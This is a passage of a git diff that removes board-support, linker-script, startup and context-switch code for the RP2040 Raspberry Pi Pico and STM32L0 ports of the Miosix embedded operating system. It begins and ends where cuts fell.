RTC_IRQ_Handler -}; - -#pragma weak SysTick_Handler = Default_Handler -#pragma weak TIMER_IRQ_0_Handler = Default_Handler -#pragma weak TIMER_IRQ_1_Handler = Default_Handler -#pragma weak TIMER_IRQ_2_Handler = Default_Handler -#pragma weak TIMER_IRQ_3_Handler = Default_Handler -#pragma weak PWM_IRQ_WRAP_Handler = Default_Handler -#pragma weak USBCTRL_IRQ_Handler = Default_Handler -#pragma weak XIP_IRQ_Handler = Default_Handler -#pragma weak PIO0_IRQ_0_Handler = Default_Handler -#pragma weak PIO0_IRQ_1_Handler = Default_Handler -#pragma weak PIO1_IRQ_0_Handler = Default_Handler -#pragma weak PIO1_IRQ_1_Handler = Default_Handler -#pragma weak DMA_IRQ_0_Handler = Default_Handler -#pragma weak DMA_IRQ_1_Handler = Default_Handler -#pragma weak IO_IRQ_BANK0_Handler = Default_Handler -#pragma weak IO_IRQ_QSPI_Handler = Default_Handler -#pragma weak SIO_IRQ_PROC0_Handler = Default_Handler -#pragma weak SIO_IRQ_PROC1_Handler = Default_Handler -#pragma weak CLOCKS_IRQ_Handler = Default_Handler -#pragma weak SPI0_IRQ_Handler = Default_Handler -#pragma weak SPI1_IRQ_Handler = Default_Handler -#pragma weak UART0_IRQ_Handler = Default_Handler -#pragma weak UART1_IRQ_Handler = Default_Handler -#pragma weak ADC_IRQ_FIFO_Handler = Default_Handler -#pragma weak I2C0_IRQ_Handler = Default_Handler -#pragma weak I2C1_IRQ_Handler = Default_Handler -#pragma weak RTC_IRQ_Handler = Default_Handler - diff --git a/miosix/arch/cortexM0plus_rp2040/rp2040_raspberry_pi_pico/interfaces-impl/bsp.cpp b/miosix/arch/cortexM0plus_rp2040/rp2040_raspberry_pi_pico/interfaces-impl/bsp.cpp deleted file mode 100644 index 252632e88..000000000 --- a/miosix/arch/cortexM0plus_rp2040/rp2040_raspberry_pi_pico/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,149 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2024 by Daniele Cattaneo * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp.cpp Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/dcc.h" -#include "board_settings.h" - -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - //Enable all gpios - unreset_block_wait(RESETS_RESET_PADS_BANK0_BITS | RESETS_RESET_IO_BANK0_BITS); - sio_hw->gpio_oe_set = SIO_GPIO_OE_SET_BITS; - //Initialize GPIO functions - for(unsigned int i=0; iio[i].ctrl=Function::GPIO; - - //Blink the LED, but only on standard pico (not Pico W) - #ifdef PICO_DEFAULT_LED_PIN - led::mode(Mode::OUTPUT); - ledOn(); - delayMs(100); - ledOff(); - #endif - - //Configure serial - uart_tx::function(Function::UART); - uart_tx::mode(Mode::OUTPUT); - uart_rx::function(Function::UART); - uart_rx::mode(Mode::INPUT); - if(defaultSerialFlowctrl) - { - uart_cts::function(Function::UART); - uart_cts::mode(Mode::INPUT); - uart_rts::function(Function::UART); - uart_rts::mode(Mode::OUTPUT); - } - DefaultConsole::instance().IRQset(intrusive_ref_ptr( -#if defined(STDOUT_REDIRECTED_TO_DCC) - new ARMDCC() -#elif DEFAULT_SERIAL_ID == 0 - new RP2040PL011Serial0(defaultSerialSpeed, - defaultSerialFlowctrl, defaultSerialFlowctrl) -#elif DEFAULT_SERIAL_ID == 1 - new RP2040PL011Serial1(defaultSerialSpeed, - defaultSerialFlowctrl, defaultSerialFlowctrl) -#else -#error "No default serial port selected" -#endif - )); -} - -void bspInit2() -{ - #ifdef WITH_FILESYSTEM - basicFilesystemSetup(intrusive_ref_ptr()); - #endif //WITH_FILESYSTEM -} - -// -// Shutdown and reboot -// - -/** -This function disables filesystem (if enabled), serial port (if enabled) and -puts the processor in deep sleep mode.
-Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. -
This function does not return.
-WARNING: close all files before using this function, since it unmounts the -filesystem.
-When in shutdown mode, power consumption of the miosix board is reduced to ~ -5uA??, however, true power consumption depends on what is connected to the GPIO -pins. The user is responsible to put the devices connected to the GPIO pin in the -minimal power consumption mode before calling shutdown(). Please note that to -minimize power consumption all unused GPIO must not be left floating. -*/ -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - - for(;;) ; -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM0plus_rp2040/rp2040_raspberry_pi_pico/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM0plus_rp2040/rp2040_raspberry_pi_pico/interfaces-impl/bsp_impl.h deleted file mode 100644 index 2120e7632..000000000 --- a/miosix/arch/cortexM0plus_rp2040/rp2040_raspberry_pi_pico/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,84 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2024 by Daniele Cattaneo * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "interfaces/gpio.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - - -#ifdef PICO_DEFAULT_LED_PIN -/** - * \internal - * used by the ledOn() and ledOff() implementation - * \note Doesn't work on Pico W, as the LED is controlled by the WiFi chip. - */ -using led = Gpio; -#endif - -/** - * Turn on the board LED. - * \note Doesn't work on Pico W, as the LED is controlled by the WiFi chip. - */ -inline void ledOn() -{ -#ifdef PICO_DEFAULT_LED_PIN - led::high(); -#endif -} - -/** - * Turn off the board LED. - * \note Doesn't work on Pico W, as the LED is controlled by the WiFi chip. - */ -inline void ledOff() -{ -#ifdef PICO_DEFAULT_LED_PIN - led::low(); -#endif -} - -/** -\} -*/ - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM0plus_rp2040/rp2040_raspberry_pi_pico/rp2040_2M+264k_rom.ld b/miosix/arch/cortexM0plus_rp2040/rp2040_raspberry_pi_pico/rp2040_2M+264k_rom.ld deleted file mode 100644 index c72f9bd2f..000000000 --- a/miosix/arch/cortexM0plus_rp2040/rp2040_raspberry_pi_pico/rp2040_2M+264k_rom.ld +++ /dev/null @@ -1,171 +0,0 @@ -/* - * Linker script for RP2040 (2MB external flash, 264K RAM) - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in ram - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap on 264KB microcontrollers */ -_heap_end = 0x20042000; /* end of available ram */ - -/* Entry point. This is effectively used only by the "run" command of a - * debugger. We do not use the same symbol as the reset handler because we - * want to go back to the bootrom to re-do the whole boot process cleanly. */ -ENTRY(entryPoint) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x10000000, LENGTH = 2048k - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(rwx) : ORIGIN = 0x20000200, LENGTH = 264k-_main_stack_size -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Stage 2 bootloader must be at the base address of flash */ - KEEP(*(.boot2)) - /* Interrupt vectors go at address 0x100 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM0plus_stm32l0/common/arch_settings.h b/miosix/arch/cortexM0plus_stm32l0/common/arch_settings.h deleted file mode 100644 index 744a45775..000000000 --- a/miosix/arch/cortexM0plus_stm32l0/common/arch_settings.h +++ /dev/null @@ -1,56 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// \internal Size of vector to store registers during ctx switch (9*4=36Bytes) -/// Only sp and r4-r11 are saved here, since r0-r3,r12,lr,pc,xPSR and -/// old sp are saved by hardware on the process stack on Cortex M3 CPUs. -const unsigned char CTXSAVE_SIZE=9; - -/// \internal some architectures save part of the context on their stack. -/// This constant is used to increase the stack size by the size of context -/// save frame. If zero, this architecture does not save anything on stack -/// during context save. Size is in bytes, not words. -/// MUST be divisible by 4. -const unsigned int CTXSAVE_ON_STACK=32; - -/// \internal stack alignment for this specific architecture -const unsigned int CTXSAVE_STACK_ALIGNMENT=8; - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/arch/cortexM0plus_stm32l0/common/interfaces-impl/arch_registers_impl.h b/miosix/arch/cortexM0plus_stm32l0/common/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index e4c72f841..000000000 --- a/miosix/arch/cortexM0plus_stm32l0/common/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,12 +0,0 @@ - -#ifndef ARCH_REGISTERS_IMPL_H -#define ARCH_REGISTERS_IMPL_H - -//Always include stm32xxxx.h before core_xxx.h, there's some nasty dependency -#include "CMSIS/Device/ST/STM32L0xx/Include/stm32l0xx.h" -#include "CMSIS/Include/core_cm0plus.h" -#include "CMSIS/Device/ST/STM32L0xx/Include/system_stm32l0xx.h" - -#define RCC_SYNC() // It appears it doesn't need to be implemented. TODO: CHECK - -#endif //ARCH_REGISTERS_IMPL_H diff --git a/miosix/arch/cortexM0plus_stm32l0/common/interfaces-impl/delays.cpp b/miosix/arch/cortexM0plus_stm32l0/common/interfaces-impl/delays.cpp deleted file mode 100644 index bb63eef94..000000000 --- a/miosix/arch/cortexM0plus_stm32l0/common/interfaces-impl/delays.cpp +++ /dev/null @@ -1,58 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2023 by Federico Terraneo * - * Copyright (C) 2023 by Daniele Cattaneo * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "interfaces/delays.h" - -namespace miosix { - -void delayMs(unsigned int mseconds) -{ - for(unsigned int i=0;i * - ***************************************************************************/ - -#ifndef GPIO_IMPL_H -#define GPIO_IMPL_H - -#include "drivers/stm32_gpio.h" - -#endif //GPIO_IMPL_H diff --git a/miosix/arch/cortexM0plus_stm32l0/common/interfaces-impl/portability.cpp b/miosix/arch/cortexM0plus_stm32l0/common/interfaces-impl/portability.cpp deleted file mode 100644 index fd0448aff..000000000 --- a/miosix/arch/cortexM0plus_stm32l0/common/interfaces-impl/portability.cpp +++ /dev/null @@ -1,111 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "interfaces/portability.h" -#include "kernel/kernel.h" -#include "kernel/error.h" -#include "interfaces/bsp.h" -#include "kernel/scheduler/scheduler.h" -#include - -/** - * \internal - * software interrupt routine. - * Since inside naked functions only assembler code is allowed, this function - * only calls the ctxsave/ctxrestore macros (which are in assembler), and calls - * the implementation code in ISR_yield() - */ -void SVC_Handler() __attribute__((naked)); -void SVC_Handler() -{ - saveContext(); - //Call ISR_yield(). Name is a C++ mangled name. - asm volatile("bl _ZN14miosix_private9ISR_yieldEv"); - restoreContext(); -} - -namespace miosix_private { - -/** - * \internal - * Called by the software interrupt, yield to next thread - * Declared noinline to avoid the compiler trying to inline it into the caller, - * which would violate the requirement on naked functions. Function is not - * static because otherwise the compiler optimizes it out... - */ -void ISR_yield() __attribute__((noinline)); -void ISR_yield() -{ - miosix::Thread::IRQstackOverflowCheck(); - miosix::Scheduler::IRQfindNextThread(); -} - -void IRQsystemReboot() -{ - NVIC_SystemReset(); -} - -void initCtxsave(unsigned int *ctxsave, void *(*pc)(void *), unsigned int *sp, - void *argv) -{ - unsigned int *stackPtr=sp; - stackPtr--; //Stack is full descending, so decrement first - *stackPtr=0x01000000; stackPtr--; //--> xPSR - *stackPtr=reinterpret_cast( - &miosix::Thread::threadLauncher); stackPtr--; //--> pc - *stackPtr=0xffffffff; stackPtr--; //--> lr - *stackPtr=0; stackPtr--; //--> r12 - *stackPtr=0; stackPtr--; //--> r3 - *stackPtr=0; stackPtr--; //--> r2 - *stackPtr=reinterpret_cast(argv); stackPtr--; //--> r1 - *stackPtr=reinterpret_cast(pc); //--> r0 - - ctxsave[0]=reinterpret_cast(stackPtr); //--> psp - //leaving the content of r4-r11 uninitialized -} - -void IRQportableStartKernel() -{ - NVIC_SetPriority(SVC_IRQn,3);//High priority for SVC (Max=0, min=15) - - //create a temporary space to save current registers. This data is useless - //since there's no way to stop the sheduler, but we need to save it anyway. - unsigned int s_ctxsave[miosix::CTXSAVE_SIZE]; - ctxsave=s_ctxsave;//make global ctxsave point to it - //Note, we can't use enableInterrupts() now since the call is not mathced - //by a call to disableInterrupts() - __enable_irq(); - miosix::Thread::yield(); - //Never reaches here -} - -void sleepCpu() -{ - __WFI(); -} - -} //namespace miosix_private diff --git a/miosix/arch/cortexM0plus_stm32l0/common/interfaces-impl/portability_impl.h b/miosix/arch/cortexM0plus_stm32l0/common/interfaces-impl/portability_impl.h deleted file mode 100644 index 87f34257b..000000000 --- a/miosix/arch/cortexM0plus_stm32l0/common/interfaces-impl/portability_impl.h +++ /dev/null @@ -1,166 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010, 2011, 2012 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ -//Miosix kernel - -#ifndef PORTABILITY_IMPL_H -#define PORTABILITY_IMPL_H - -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" - -/** - * \addtogroup Drivers - * \{ - */ - -/* - * This pointer is used by the kernel, and should not be used by end users. - * this is a pointer to a location where to store the thread's registers during - * context switch. It requires C linkage to be used inside asm statement. - * Registers are saved in the following order: - * *ctxsave+32 --> r11 - * *ctxsave+28 --> r10 - * *ctxsave+24 --> r9 - * *ctxsave+20 --> r8 - * *ctxsave+16 --> r7 - * *ctxsave+12 --> r6 - * *ctxsave+8 --> r5 - * *ctxsave+4 --> r4 - * *ctxsave+0 --> psp - */ -extern "C" { -extern volatile unsigned int *ctxsave; -} -const int stackPtrOffsetInCtxsave=0; ///< Allows to locate the stack pointer - -/** - * \internal - * \def saveContext() - * Save context from an interrupt
- * Must be the first line of an IRQ where a context switch can happen. - * The IRQ must be "naked" to prevent the compiler from generating context save. - * - * A note on the dmb instruction, without it a race condition was observed - * between pauseKernel() and IRQfindNextThread(). pauseKernel() uses an strex - * instruction to store a value in the global variable kernel_running which is - * tested by the context switch code in IRQfindNextThread(). Without the memory - * barrier IRQfindNextThread() would occasionally read the previous value and - * perform a context switch while the kernel was paused, leading to deadlock. - * The failure was only observed within the exception_test() in the testsuite - * running on the stm32f429zi_stm32f4discovery. - */ - -#define saveContext() \ -{ \ - asm volatile("push {lr} \n\t" /*save lr on MAIN stack*/ \ - "mrs r1, psp \n\t" /*get PROCESS stack pointer*/ \ - "ldr r0, =ctxsave \n\t" /*get current context*/ \ - "ldr r0, [r0] \n\t" \ - "stmia r0!, {r1,r4-r7} \n\t" /*save PROCESS sp + r4-r7*/ \ - "mov r4, r8 \n\t" \ - "mov r5, r9 \n\t" \ - "mov r6, r10 \n\t" \ - "mov r7, r11 \n\t" \ - "stmia r0!, {r4-r7} \n\t" \ - "dmb \n\t" \ - ); \ -} - -/** - * \def restoreContext() - * Restore context in an IRQ where saveContext() is used. Must be the last line - * of an IRQ where a context switch can happen. The IRQ must be "naked" to - * prevent the compiler from generating context restore. - */ - -#define restoreContext() \ -{ \ - asm volatile("ldr r0, =ctxsave \n\t" /*get current context*/ \ - "ldr r0, [r0] \n\t" \ - "ldmia r0!, {r1,r4-r7} \n\t" /*pop r8-r11 saving in r4-r7*/ \ - "msr psp, r1 \n\t" /*restore PROCESS sp*/ \ - "ldmia r0, {r0-r3} \n\t" \ - "mov r8, r0 \n\t" \ - "mov r9, r1 \n\t" \ - "mov r10, r2 \n\t" \ - "mov r11, r3 \n\t" \ - "pop {pc} \n\t" /*return*/ \ - ); \ -} - -/** - * \} - */ - -namespace miosix_private { - -/** - * \addtogroup Drivers - * \{ - */ - -inline void doYield() -{ - asm volatile("movs r3, #0\n\t" - "svc 0" - :::"r3"); -} - -inline void doDisableInterrupts() -{ - // Documentation says __disable_irq() disables all interrupts with - // configurable priority, so also SysTick and SVC. - // No need to disable faults with __disable_fault_irq() - __disable_irq(); - //The new fastDisableInterrupts/fastEnableInterrupts are inline, so there's - //the need for a memory barrier to avoid aggressive reordering - asm volatile("":::"memory"); -} - -inline void doEnableInterrupts() -{ - __enable_irq(); - //The new fastDisableInterrupts/fastEnableInterrupts are inline, so there's - //the need for a memory barrier to avoid aggressive reordering - asm volatile("":::"memory"); -} - -inline bool checkAreInterruptsEnabled() -{ - register int i; - asm volatile("mrs %0, primask \n\t":"=r"(i)); - if(i!=0) return false; - return true; -} - -/** - * \} - */ - -} //namespace miosix_private - -#endif //PORTABILITY_IMPL_H diff --git a/miosix/arch/cortexM0plus_stm32l0/stm32l053r8_nucleo/core/stage_1_boot.cpp b/miosix/arch/cortexM0plus_stm32l0/stm32l053r8_nucleo/core/stage_1_boot.cpp deleted file mode 100644 index c7e0c0b07..000000000 --- a/miosix/arch/cortexM0plus_stm32l0/stm32l053r8_nucleo/core/stage_1_boot.cpp +++ /dev/null @@ -1,267 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -void setupClockTree() -{ - //TODO: shouldn't we select voltage range 1 too? Don't have this board so can't test - static_assert(HSE_VALUE==8000000,"Unsupported HSE oscillator frequency"); - static_assert(SYSCLK_FREQ_32MHz==32000000,"Unsupported target SYSCLK"); - - // Check if PLL is used as system clock - if ((RCC->CFGR & RCC_CFGR_SWS) == RCC_CFGR_SWS_PLL) - { - // Select HSI as system clock - RCC->CFGR = (RCC->CFGR & (uint32_t)~RCC_CFGR_SW) | RCC_CFGR_SW_HSI; - while ((RCC->CFGR & RCC_CFGR_SWS) != RCC_CFGR_SWS_HSI) {} - } - // Disable PLL - RCC->CR &= (uint32_t)~RCC_CR_PLLON; - while(RCC->CR & RCC_CR_PLLRDY) {} - - // Enable HSE with bypass - RCC->CR |= RCC_CR_HSEON | RCC_CR_HSEBYP; - while((RCC->CR & RCC_CR_HSERDY) == 0) {} - - // Set flash latency to 1 wait state - FLASH->ACR |= FLASH_ACR_LATENCY; - - // Set PLL multiplier to 12 (HSI is 8MHz, gives 96MHz) and divider by 3 - // 96MHz is needed for the 48MHz output to work correctly (it is hardcoded - // to divide by 2) - RCC->CFGR = (RCC->CFGR & ~(RCC_CFGR_PLLMUL | RCC_CFGR_PLLDIV)) - | (RCC_CFGR_PLLMUL12 | RCC_CFGR_PLLDIV3); - // Set PLL source - RCC->CFGR = (RCC->CFGR & ~(RCC_CFGR_PLLSRC)) | RCC_CFGR_PLLSRC_HSE; - // Enable PLL - RCC->CR |= RCC_CR_PLLON; - while ((RCC->CR & RCC_CR_PLLRDY) == 0) {} - - // Set PLL as system clock - RCC->CFGR |= RCC_CFGR_SW_PLL; - while ((RCC->CFGR & RCC_CFGR_SWS) != RCC_CFGR_SWS_PLL) {} -} - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M0 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //SystemInit() is called *before* initializing .data and zeroing .bss - //Despite all startup files provided by ST do the opposite, there are three - //good reasons to do so: - //First, the CMSIS specifications say that SystemInit() must not access - //global variables, so it is actually possible to call it before - //Second, when running Miosix with the xram linker scripts .data and .bss - //are placed in the external RAM, so we *must* call SystemInit(), which - //enables xram, before touching .data and .bss - //Third, this is a performance improvement since the loops that initialize - //.data and zeros .bss now run with the CPU at full speed instead of 8MHz - - SystemInit(); - setupClockTree(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - // Update SystemCoreClock - SystemCoreClockUpdate(); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movs r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0","cc"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ 